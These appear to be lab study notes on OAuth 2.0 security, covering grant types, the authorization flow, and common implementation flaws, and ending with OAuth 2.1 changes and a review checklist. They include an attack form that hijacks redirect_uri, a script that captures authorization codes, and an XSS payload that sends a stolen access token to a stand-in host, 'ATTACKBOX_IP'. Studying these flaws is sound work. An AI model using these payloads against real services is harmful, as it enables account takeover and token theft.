OAuth 2.0 is widely used to let one application access resources on behalf of a user without sharing the user’s credentials directly. These notes cover the core OAuth roles, the major grant types, how the authorization flow works, how to identify OAuth in a target, and the most important implementation flaws that lead to token theft, account linking attacks, and privilege abuse.
Understanding OAuth starts with understanding the roles involved in the trust relationship.
The most common server-side flow. The client receives a temporary authorization code and exchanges it server-to-server for an access token. This reduces token exposure and supports refresh tokens.
Designed for public clients such as browser-based apps. The access token is returned directly to the user agent, usually in the URL fragment. This flow is faster but significantly less secure and is now being phased out in modern guidance.
The client collects the user's credentials directly and exchanges them for a token. This only makes sense for highly trusted first-party apps and is unsuitable for third-party integrations.
Used for server-to-server communication where no user is involved. The client authenticates with its own credentials and receives an access token directly.
The standard authorization code flow works in several steps:
Security idea: the authorization code is only a temporary artifact. The real access token is meant to be obtained through a more controlled backend exchange.
OAuth is often visible from the login flow long before source code is available. Look for “Login with Google”, “Login with GitHub”, or other third-party identity options. Network traffic usually confirms it.
response_type, client_id, redirect_uri, scope, and state.The redirect_uri tells the authorization server where to send the authorization response. If the provider accepts a URI the attacker controls, the authorization code or token can be delivered to the wrong place.
This is especially dangerous when developers over-register domains, trust dev or staging subdomains too broadly, or fail to validate the redirect target strictly.
<form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get">
<input type="hidden" name="redirect_uri" value="http://dev.bistro.thm:8002/malicious_redirect.html">
<input type="submit" value="Hijack OAuth">
</form>
<script>
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
document.getElementById('auth_code').innerText = code;
console.log("Intercepted Authorization Code:", code);
</script>
Once the attacker gets the authorization code, they can usually replay it against the legitimate callback endpoint and exchange it for an access token.
The state parameter binds the authorization response to the request that started it. If it is missing, static, or predictable, the client can become vulnerable to CSRF-style OAuth abuse.
That usually lets the attacker cause the victim’s browser to complete an OAuth flow that attaches the attacker’s authorization or tokens to the victim’s session context.
Typical impact: account linking abuse, unwanted account synchronization, or authorization code injection into the victim’s current session.
The implicit grant is dangerous because the access token is returned directly to the browser, often inside the URL fragment. Any script running in the page context can read it.
That means an XSS issue, malicious third-party script, or browser compromise can immediately turn into token theft.
var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7';
var redirect_uri = 'http://factbook.thm:8080/callback.php';
var auth_url = "http://coffee.thm:8000/o/authorize/";
var url = auth_url + "?response_type=token&client_id=" + client_id + "&redirect_uri=" + encodeURIComponent(redirect_uri);
window.location.href = url;
Combined with XSS, token exfiltration becomes trivial.
<script>
var hash = window.location.hash.substr(1);
var result = hash.split('&').reduce(function (res, item) {
var parts = item.split('=');
res[parts[0]] = parts[1];
return res;
}, {});
var accessToken = result.access_token;
var img = new Image();
img.src = 'http://ATTACKBOX_IP:8081/steal_token?token=' + accessToken;
</script>
This is one of the main reasons the implicit flow is now deprecated in current best practice guidance.
OAuth 2.1 tries to formalize lessons learned from real-world abuse. The biggest security changes are straightforward:
state usage is emphasized for CSRF defense.When reviewing an OAuth implementation, focus on the full trust chain rather than only the login page.
redirect_uri is strictly validated.state exists, is unpredictable, and is enforced.redirect_uri and state are two of the highest-value parameters to test.